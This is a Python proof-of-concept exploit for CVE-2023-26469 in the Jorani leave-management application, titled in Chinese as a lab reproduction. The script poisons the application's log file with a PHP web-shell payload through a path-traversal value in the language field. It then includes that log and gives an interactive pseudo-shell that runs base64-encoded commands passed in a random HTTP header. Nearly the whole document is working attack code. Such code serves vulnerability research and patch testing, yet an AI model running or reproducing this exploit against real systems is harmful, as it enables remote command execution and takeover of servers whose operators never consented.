Jorani远程命令执行漏洞 CVE-2023-26469靶场复现

"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import string

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

msg = lambda x,y="\n":print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x,y="\n":print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x,y="\n":print(f'\x1b[93m[?]\x1b[0m {x}', end=y)

CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)

URLS = {
	'login' : '/session/login',
	'view'	: '/pages/view/',
}

alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))

BypassRedirect = {
	'X-REQUESTED-WITH'	: 'XMLHttpRequest',
	HEADER_NAME		: ""
}

INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo term

u = lambda x,y: x + URLS[y]

POISON_PAYLOAD		= "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD	= "../../application/logs"

if __name__ == '__main__':
	print("""
	/!\\ Do not use this if you are not authorized to /!\\
		""")
	log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")

	if(len(sys.argv) == 1):
		err(f"Usage: {sys.argv[0]} <url>")
		exit(0)

	log(f"Header used for exploit: {HEADER_NAME}")	
 

	t = sys.argv[1]

	s = requests.Session()
	log("Requesting session cookie")
	res = s.get(u(t,"login"), verify = False)

	C = s.cookies.get_dict()

	Date = datetime.date.today()
	log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"

	csrf_token = re.findall(CSRF_PATTERN, res.text)[0] 
	log(f"Poisonning log file with payload: '{POISON_PAYLOAD}'")
	log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")
	msg(f"Recoveredd CSRF Token: {csrf_token}")

	data = {
		"csrf_test_jorani"	: csrf_token,
		"last_page"			: "session/login",
		"language"			: PATH_TRAV_PAYLOAD,
		"login"				: POISON_PAYLOAD,
		"CipheredValue"		: "DummyPassword"
	}

	s.post(u(t,"login"), data=data)

	log(f"Accessing log file: {log_file_name}")

	exp_page = t + URLS['view'] + log_file_name

	### Shell
	cmd = ""
	while True:
		cmd = input(INPUT)
		if(cmd in ['x', 'exit', 'quit']):
			break
		elif(cmd == ""):
			continue
		else:
			BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")
			res = s.get(exp_page, headers=BypassRedirect)
			cmdRes = re.findall(CMD_PATTERN, res.text)
			try:
				print(cmdRes[0])
			except:
				print(res.text)
				err("Wow, there was a problem, are you sure of the URL ??")
				err('exiting..')
				exit(0)